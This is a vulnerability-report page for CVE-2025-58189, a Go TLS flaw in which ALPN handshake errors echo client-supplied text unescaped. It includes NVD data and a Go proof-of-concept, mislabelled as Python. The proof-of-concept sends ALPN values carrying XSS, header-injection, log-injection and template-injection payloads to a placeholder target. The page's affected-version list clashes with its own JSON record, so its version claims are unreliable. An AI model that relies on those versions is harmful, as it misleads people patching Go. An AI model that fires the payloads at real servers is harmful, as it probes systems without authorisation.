Security Vulnerability Report
中文
CVE-2025-58189 CVSS 5.3 MEDIUM

CVE-2025-58189

Published: 2025-10-29 23:16:20
Last Modified: 2026-01-29 15:49:25

Description

When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go < 1.22.10
Go < 1.23.4
Go 1.22.x 系列所有版本
Go 1.23.x 系列所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-58189 PoC - ALPN Information Disclosure // This PoC demonstrates how an attacker can inject malicious content // into ALPN protocol list to trigger information disclosure package main import ( "crypto/tls" "fmt" "net" "strings" ) func main() { // Malicious ALPN protocols that could trigger information disclosure maliciousALPNs := []string{ "h2<script>alert(1)</script>", // Potential XSS in error logs "http/1.1\r\nInjected-Header: malicious", // Header injection "\n[ERROR] Fake error log entry", // Log injection "h2{{.template injection}}", // Template injection attempt } // Connect to target server targetAddr := "target-server:443" for _, alpn := range maliciousALPNs { fmt.Printf("Testing malicious ALPN: %s\n", alpn) // Create custom TLS config with malicious ALPN config := &tls.Config{ InsecureSkipVerify: true, // For testing only NextProtos: []string{alpn}, } // Attempt connection conn, err := net.Dial("tcp", targetAddr) if err != nil { fmt.Printf("Connection error: %v\n", err) continue } defer conn.Close() tlsConn := tls.Client(conn, config) err = tlsConn.Handshake() if err != nil { // Check if error message contains our injected content errorMsg := err.Error() if strings.Contains(errorMsg, alpn) { fmt.Printf("VULNERABLE: Error contains injected ALPN: %s\n", errorMsg) } } } } // Detection script for checking if error logging is vulnerable func CheckVulnerability(targetAddr string) bool { // Send malformed ClientHello with special characters in ALPN maliciousPayload := "h2\x00injected\x00data" config := &tls.Config{NextProtos: []string{maliciousPayload}} conn, _ := net.Dial("tcp", targetAddr) tlsConn := tls.Client(conn, config) err := tlsConn.Handshake() if err != nil { // If error message reflects the input without sanitization return strings.Contains(err.Error(), maliciousPayload) } return false }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58189", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:19.833", "lastModified": "2026-01-29T15:49:24.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.24.8", "matchCriteriaId": "E1AB9501-4F7D-4E37-BA0A-4E57B082530C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.25.0", "versionEndExcluding": "1.25.2", "matchCriteriaId": "C196D175-EF20-476C-8C64-1B9F5C50AA2D"}]}]}], "references": [{"url": "https://go.dev/cl/707776", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/75652", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4008", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Release Notes", "Third Party Advisory"]}]}}